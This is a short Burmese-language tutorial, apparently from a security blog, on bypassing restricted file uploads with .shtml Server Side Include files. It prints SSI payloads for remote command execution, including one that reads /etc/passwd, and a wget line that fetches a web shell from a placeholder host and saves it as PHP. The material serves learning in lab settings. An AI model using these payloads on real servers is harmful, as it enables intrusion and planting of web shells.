File Upload + Server Side Include [Tutorial]

ဟိုေန႕က File Upload Lab အတြက္ Challenge ေတြထပ္ထည့္ဖို႕လိုက္ရွာရင္းနဲ႕ နည္းေလးတစ္ခုေတြ႕လိုက္လို႕ Trick ေလးတစ္ခုလည္းျဖစ္တာေၾကာင့္ ေရးေပးလိုက္ပါတယ္။ က်ေနာ္တို႕ Restricted File Upload မွာ တကယ္လို႕ PHP File တင္မရတဲ့အခါ သံုးလို႕ရတဲ့နည္းေလးတစ္ခုလဲျဖစ္ပါတယ္။ သိျပီးသားသူေတြေတာ့ မ်ားမွာပါ။ ဒါေပမဲ့ မသိေသးဘူးဆိုရင္ေတာ့ သိသြားတာေပါ့ ။

Server Side Include ( SSI )W3 Documentation

SSI အလုပ္လုပ္ဖို႕ဆို File extension က .shtml ကိုသံုးရမွာျဖစ္ပါတယ္။ ဒါေၾကာင့္လဲ က်ေနာ္တို႕က PHP extension အလုပ္မလုပ္တဲ့ေနရာေတြမွာ သံုးဖို႕ျဖစ္လာရတာပါ။ Manual Page မွာ SSI ရဲ႕ တျခား Command ေတြကိုသြားေရာက္ေလ့လာႏိုင္ပါတယ္။ ဒီမွာေတာ့ လိုခ်င္တဲ့ အေၾကာင္းအရာအတြက္ပဲအဓိကေျပာၾကတာေပါ့။ 😀

 Echo Command

<!--#echo var="DOCUMENT_URI" -->

ဒါဆိုရင္ URL ကိုျပတာေပါ့။ ဒါေပမဲ့ ဒါကသိပ္ေတာ့မမိုက္ပါဘူး။ စမ္းတဲ့သေဘာပါပဲ။

RCE with Command Execute

<!--#exec cmd="cat /etc/passwd" -->

SSI ကေန Command Execute လုပ္လို႕ရတယ္ဆိုေတာ့ အဆင္ေျပသြားျပီေပါ့။

ဒီေနရာမွာ က်ေနာ္တို႕ တျခား upload တင္ခ်င္တယ္ဆိုရင္ဘာေတြသံုးရမယ္ဆိုတာေတာ့သိျပီးသားျဖစ္မွာပါ။

Example

wget "http://site.com/web_shell.txt" -O web_shell.php

Another Issue with include

<!--#include file="file.png" -->

Include က php ရဲ႕ include() လုိေတာ့ အလုပ္မလုပ္ႏိုင္ပါဘူး။

ဒါေၾကာင့္ image ထဲမွာ PHP code ထည့္ျပီး လုပ္မယ္ဆိုတဲ့အၾကံေတာ့ေအာင္ျမင္မွာမဟုတ္ပါဘူး။ ဒါက စမ္းၾကည့္ျပီးမရလို႕တစ္ခါတည္းေျပာျပထားတာပါ။ PHP include က strings form File to code အလုပ္လုပ္ ႏိုင္ပါတယ္။ ဒီမွာကေတာ့ html ပဲအလုပ္လုပ္ပါတယ္။

Reference :

Google

Github